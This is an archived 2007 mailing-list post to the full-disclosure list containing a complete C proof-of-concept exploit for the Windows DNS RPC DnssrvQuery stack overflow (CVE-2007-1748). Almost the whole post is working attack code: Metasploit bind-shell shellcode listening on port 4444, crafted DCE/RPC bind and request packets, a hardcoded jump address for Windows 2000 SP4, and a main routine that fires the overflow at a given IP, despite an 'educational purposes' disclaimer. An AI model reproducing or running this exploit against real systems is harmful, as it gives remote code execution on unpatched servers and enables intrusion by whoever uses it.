Message-ID: <BAY129-F25F630DFA1FC831EBDAABDBE530@phx.gbl>
Date: Sun, 15 Apr 2007 18:51:22 +0000
From: "dev code" <devcode29@...mail.com>
To: full-disclosure@...ts.grok.org.uk
Cc: submit@...w0rm.com
Subject: Windows DNS DnssrvQuery Stack Overflow

/*
* Copyright (c) 2007 devcode
*
*
*			^^ D E V C O D E ^^
*
* Windows DNS DnssrvQuery() Stack Overflow
* [CVE-2007-1748]
*
*
* Description:
*    A vulnerability has been reported in Microsoft Windows, which can
*    be exploited by malicious people to compromise a vulnerable system.
*	  The vulnerability is caused due to a boundary error in an RPC interface
*	  of the DNS service used for remote management of the service. This can
*	  be exploited to cause a stack-based buffer overflow via a specially
*	  crafted RPC request. The DnssrvQuery function is vulnerable to this 
stack
*    overflow.
*
*
* Hotfix/Patch:
*    None as of this time.
*
* Vulnerable systems:
*	  Microsoft Windows 2000 Advanced Server
*    Microsoft Windows 2000 Datacenter Server
*	  Microsoft Windows 2000 Server
*	  Microsoft Windows Server 2003 Datacenter Edition
*	  Microsoft Windows Server 2003 Enterprise Edition
*	  Microsoft Windows Server 2003 Standard Edition
*	  Microsoft Windows Server 2003 Web Edition
*	  Microsoft Windows Storage Server 2003
*
* Tested on:
* 	  Microsoft Windows 2000 Advanced Server
*
*    This is a PoC and was created for educational purposes only. The
*    author is not held responsible if this PoC does not work or is
*    used for any other purposes than the one stated above.
*
* Notes:
*	  <3 Metasploit for releasing it yesterday, only had time to look at it
*    this morning. Also props to Winny Thomas.
*
*    There are two ways we can embed shellcode. One is to pad each byte of
*    the shellcode with '\' and jmp EBX. The other way is the one Winny used
*	  which is to pass in the shellcode as the third argument in the rpc 
function
*    and jmp EDX after incrementing it appropriately. I used the latter :)
*
*    ^^ #pen15, InTeL, D-oNe and ps. St0n3y is nub kthxbye
*
*
*/
#include <iostream>
#include <windows.h>

#pragma comment( lib, "ws2_32" )

/* win32_bind -  EXITFUNC=thread LPORT=4444 Size=342 Encoder=PexFnstenvMov 
http://metasploit.com */
unsigned char uszShellcode[] =
	"\x6a\x50\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\xd2\xab"
	"\x1f\x83\xeb\xfc\xe2\xf4\x8a\xb8\x40\x52\x9e\x2b\x54\xe0\x89\xb2"
	"\x20\x73\x52\xf6\x20\x5a\x4a\x59\xd7\x1a\x0e\xd3\x44\x94\x39\xca"
	"\x20\x40\x56\xd3\x40\x56\xfd\xe6\x20\x1e\x98\xe3\x6b\x86\xda\x56"
	"\x6b\x6b\x71\x13\x61\x12\x77\x10\x40\xeb\x4d\x86\x8f\x37\x03\x37"
	"\x20\x40\x52\xd3\x40\x79\xfd\xde\xe0\x94\x29\xce\xaa\xf4\x75\xfe"
	"\x20\x96\x1a\xf6\xb7\x7e\xb5\xe3\x70\x7b\xfd\x91\x9b\x94\x36\xde"
	"\x20\x6f\x6a\x7f\x20\x5f\x7e\x8c\xc3\x91\x38\xdc\x47\x4f\x89\x04"
	"\xcd\x4c\x10\xba\x98\x2d\x1e\xa5\xd8\x2d\x29\x86\x54\xcf\x1e\x19"
	"\x46\xe3\x4d\x82\x54\xc9\x29\x5b\x4e\x79\xf7\x3f\xa3\x1d\x23\xb8"
	"\xa9\xe0\xa6\xba\x72\x16\x83\x7f\xfc\xe0\xa0\x81\xf8\x4c\x25\x81"
	"\xe8\x4c\x35\x81\x54\xcf\x10\xba\xba\x43\x10\x81\x22\xfe\xe3\xba"
	"\x0f\x05\x06\x15\xfc\xe0\xa0\xb8\xbb\x4e\x23\x2d\x7b\x77\xd2\x7f"
	"\x85\xf6\x21\x2d\x7d\x4c\x23\x2d\x7b\x77\x93\x9b\x2d\x56\x21\x2d"
	"\x7d\x4f\x22\x86\xfe\xe0\xa6\x41\xc3\xf8\x0f\x14\xd2\x48\x89\x04"
	"\xfe\xe0\xa6\xb4\xc1\x7b\x10\xba\xc8\x72\xff\x37\xc1\x4f\x2f\xfb"
	"\x67\x96\x91\xb8\xef\x96\x94\xe3\x6b\xec\xdc\x2c\xe9\x32\x88\x90"
	"\x87\x8c\xfb\xa8\x93\xb4\xdd\x79\xc3\x6d\x88\x61\xbd\xe0\x03\x96"
	"\x54\xc9\x2d\x85\xf9\x4e\x27\x83\xc1\x1e\x27\x83\xfe\x4e\x89\x02"
	"\xc3\xb2\xaf\xd7\x65\x4c\x89\x04\xc1\xe0\x89\xe5\x54\xcf\xfd\x85"
	"\x57\x9c\xb2\xb6\x54\xc9\x24\x2d\x7b\x77\x99\x1c\x4b\x7f\x25\x2d"
	"\x7d\xe0\xa6\xd2\xab\x1f\x00";

/* 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 */
unsigned char uszDceBind[] =
	"\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
	"\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
	"\xA4\xC2\xAB\x50\x4D\x57\xB3\x40\x9D\x66\xEE\x4F\xD5\xFB\xA0\x76"
	"\x05\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00"
	"\x2B\x10\x48\x60\x02\x00\x00\x00";

/* DnssrvQuery: opnum 1 */
unsigned char uszDceCall[] =
	"\x05\x00\x00\x83\x10\x00\x00\x00\x7f\x06\x00\x00\x01\x00\x00\x00"
	"\x57\x06\x00\x00\x00\x00\x01\x00\xa4\xc2\xab\x50\x4d\x57\xb3\x40"
	"\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x10\xc2\x40\x00\x02\x00\x00\x00"
	"\x00\x00\x00\x00\x02\x00\x00\x00\x44\x00\x00\x00\x94\xfa\x13\x00"
	"\xcc\x04\x00\x00\x00\x00\x00\x00\xcc\x04\x00\x00";

unsigned char uszDceEnd1[] =
	"\x41\x00\xb8\xc0\x40\x00\x57\x01\x00\x00\x00\x00\x00\x00\x57\x01"
	"\x00\x00";

unsigned char uszJmps[] =
	/* 0x77E14C29 - jmp esp user32.dll (Windows 2000 Advanced Server SP4) */
	"\x5C\x29\x5C\x4C\x5C\xE1\x5C\x77"

	/* inc edx, jmp edx */
	"\x5C\x42\x5C\x42\x5C\x42\x5C\x42"
	"\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42"
	"\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42"
	"\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42"
	"\x5C\x42\x5C\xFF\x5C\xE2";

void usage( ) {
	printf("\n\t\tMicrosoft Windows DNS RPC Stack Overflow\n"
			"\t\t\t(c) 2007 devcode\n\n"
			"usage: dns.exe <ip> <port>\n");
}

int main( int argc, char **argv ) {
	WSADATA wsaData;
	SOCKET sConnect;
	SOCKADDR_IN sockAddr;
	char szRecvBuf[4096];
	unsigned char uszPacket[1663];
	int nRet;

	if ( argc < 3 ) {
		usage( );
		return -1;
	}

	if ( WSAStartup( MAKEWORD( 2, 0 ), &wsaData ) != NO_ERROR ) {
		printf("[-] Unable to startup winsock\n");
		return -1;
	}

	sConnect = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
	if ( sConnect == INVALID_SOCKET ) {
		printf("[-] Invalid socket\n");
		return -1;
	}

	sockAddr.sin_family = AF_INET;
	sockAddr.sin_addr.s_addr = inet_addr( argv[1] );
	sockAddr.sin_port = htons( atoi( argv[2] ) );

	printf("[+] Connecting to %s:%s\n", argv[1], argv[2] );
	nRet = connect( sConnect, (SOCKADDR *)&sockAddr, sizeof( sockAddr ) );
	if ( nRet == SOCKET_ERROR ) {
		closesocket( sConnect );
		printf("[-] Cannot connect to server\n");
		return -1;
	}

	printf("[+] Sending DCE Bind packet...\n");
	nRet = send( sConnect, (const char *)uszDceBind, sizeof( uszDceBind ) - 1, 
0 );
	if ( nRet  == SOCKET_ERROR ) {
		closesocket( sConnect );
		printf("[-] Cannot send\n");
		return -1;
	}

	nRet = recv( sConnect, szRecvBuf, sizeof( szRecvBuf ), 0 );
	if ( nRet <= 0 ) {
		closesocket( sConnect );
		printf("[-] Recv failed\n");
		return -1;
	}

	memset( uszPacket, 0x5C, sizeof( uszPacket ) );
	memcpy( uszPacket, uszDceCall, sizeof( uszDceCall ) - 1 );
	memcpy( uszPacket + 1006, uszJmps, sizeof( uszJmps ) - 1 );
	memcpy( uszPacket + 1302, uszDceEnd1, sizeof( uszDceEnd1 ) );
	memcpy( uszPacket + 1320, uszShellcode, sizeof( uszShellcode ) );

	printf("[+] Sending DCE Request packet...\n");
	nRet = send( sConnect, (const char *)uszPacket, sizeof( uszPacket ), 0 );
	if ( nRet == SOCKET_ERROR ) {
		closesocket( sConnect );
		printf("[-] Cannot send\n");
		return -1;
	}

	printf("[+] Check shell on port 4444 :)\n");
	nRet = recv( sConnect, szRecvBuf, sizeof( szRecvBuf ), 0 );
	closesocket( sConnect );
	return 0;
}

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